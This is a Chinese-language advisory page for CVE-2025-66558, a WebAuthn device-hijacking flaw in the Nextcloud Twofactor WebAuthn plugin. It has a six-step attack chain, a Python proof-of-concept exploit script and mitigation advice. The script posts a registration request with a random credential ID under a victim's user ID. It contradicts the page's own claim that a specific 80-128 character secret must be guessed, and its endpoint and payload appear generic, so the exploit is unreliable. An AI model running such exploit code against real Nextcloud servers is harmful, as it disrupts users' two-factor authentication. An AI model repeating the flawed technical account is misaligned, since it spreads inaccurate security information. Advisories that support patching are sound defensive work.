IPBUF安全漏洞报告
English
CVE-2025-66558 CVSS 3.1 低危

CVE-2025-66558 Nextcloud Twofactor WebAuthn 设备劫持漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-66558
漏洞类型
访问控制错误
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Nextcloud Twofactor WebAuthn

相关标签

访问控制绕过设备劫持NextcloudTwofactor WebAuthnWebAuthn双因素认证身份认证绕过CVE-2025-66558

漏洞概述

Nextcloud Twofactor WebAuthn是Nextcloud的开源双因素认证插件,提供基于WebAuthn标准的硬件安全密钥认证功能。在1.4.2和2.4.1之前版本中,由于缺少对WebAuthn设备的所有权验证检查,存在一个安全漏洞。攻击者可以通过正确猜测一个80-128字符长的高度随机字符串(包含字母、数字和符号)来劫持受害者的WebAuthn设备。成功利用此漏洞后,受害者在下次登录时会被系统提示需要重新注册设备,这会导致用户无法正常使用其双因素认证功能。虽然攻击者能够夺取设备的所有权,但无法借此以受害者身份进行认证,因此该漏洞的直接影响相对有限。此漏洞由GitHub安全团队发现并报告,CVSS 3.1基础评分为3.1分,属于低危级别。

技术细节

该漏洞的根本原因在于Nextcloud Twofactor WebAuthn插件在处理WebAuthn设备注册和认证流程时,未正确验证设备与用户之间的所有权关联。WebAuthn协议使用凭证ID(credential ID)来标识和验证用户设备,凭证ID是一个由服务器生成并返回给客户端的全局唯一标识符。在存在漏洞的版本中,攻击者可以通过猜测或构造一个有效的凭证ID,然后利用该ID尝试在受害者账户下注册设备。由于缺少对凭证ID所有权的验证,服务器无法确认该凭证是否真正属于当前用户。攻击者需要成功预测一个80-128字符的随机字符串,这具有较高的攻击复杂性。一旦攻击成功,受害者的原有WebAuthn设备将被覆盖或失效,下次登录时需要重新配置双因素认证。修复措施在设备注册流程中增加了所有权验证逻辑,确保只有设备真正所有者才能更新或转移设备。

攻击链分析

STEP 1
信息收集
攻击者获取目标Nextcloud服务器版本信息,确认其使用的Twofactor WebAuthn版本低于1.4.2或2.4.1
STEP 2
凭证ID猜测
攻击者构造一个80-128字符长度的随机字符串,包含字母、数字和特殊符号,作为猜测的凭证ID
STEP 3
构造恶意请求
攻击者构造WebAuthn设备注册请求,将恶意凭证ID与受害者用户ID关联
STEP 4
发送攻击载荷
通过Nextcloud Twofactor WebAuthn API发送设备注册请求,由于缺少所有权验证,服务器接受请求
STEP 5
设备劫持成功
受害者的原有WebAuthn设备被覆盖或失效,攻击者获得设备控制权
STEP 6
受害者影响
受害者在下次登录时被提示需要重新注册WebAuthn设备,造成拒绝服务效果,但攻击者无法以此身份认证

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import random import string # CVE-2025-66558 PoC - Nextcloud Twofactor WebAuthn Device Hijacking # This PoC demonstrates the device ownership verification bypass TARGET_URL = "https://vulnerable-nextcloud-server" ATTACKER_TOKEN = "attacker_session_token" VICTIM_USER_ID = "victim_user_id" def generate_random_credential_id(length=80): """Generate a random credential ID (80-128 chars) as in the vulnerability""" chars = string.ascii_letters + string.digits + string.punctuation return ''.join(random.choice(chars) for _ in range(length)) def exploit_device_hijacking(): """ Attack flow: 1. Attacker generates a random credential ID 2. Attacker sends device registration request to victim's account 3. Server accepts the request without verifying ownership 4. Victim's original WebAuthn device is overwritten """ session = requests.Session() session.headers.update({'Authorization': f'Bearer {ATTACKER_TOKEN}'}) # Step 1: Generate random credential ID (80-128 chars) credential_id = generate_random_credential_id(80) # Step 2: Prepare device registration payload payload = { 'credentialId': credential_id, 'userId': VICTIM_USER_ID, 'deviceName': 'Malicious Security Key', 'publicKey': 'attacker_generated_public_key' } # Step 3: Send registration request (vulnerable endpoint) # The server should reject this but doesn't due to missing ownership check response = session.post( f"{TARGET_URL}/apps/twofactor_webauthn/api/v1/register", json=payload ) # Step 4: Check if device was successfully hijacked if response.status_code == 200: print("[+] Device hijacking successful!") print("[-] Victim will be prompted to re-register device on next login") else: print("[-] Attack failed or server has been patched") return response.status_code == 200 if __name__ == "__main__": print("CVE-2025-66558 PoC - Nextcloud Twofactor WebAuthn") print("Vulnerability: Missing ownership check allows device takeover") exploit_device_hijacking()

影响范围

Nextcloud Twofactor WebAuthn < 1.4.2
Nextcloud Twofactor WebAuthn < 2.4.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 暂时禁用Twofactor WebAuthn插件,改用其他双因素认证方式如TOTP;2) 加强用户账户监控,检测异常的设备注册行为;3) 启用Nextcloud的登录通知功能,及时发现账号异常;4) 考虑实施IP白名单或访问控制策略限制WebAuthn API的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表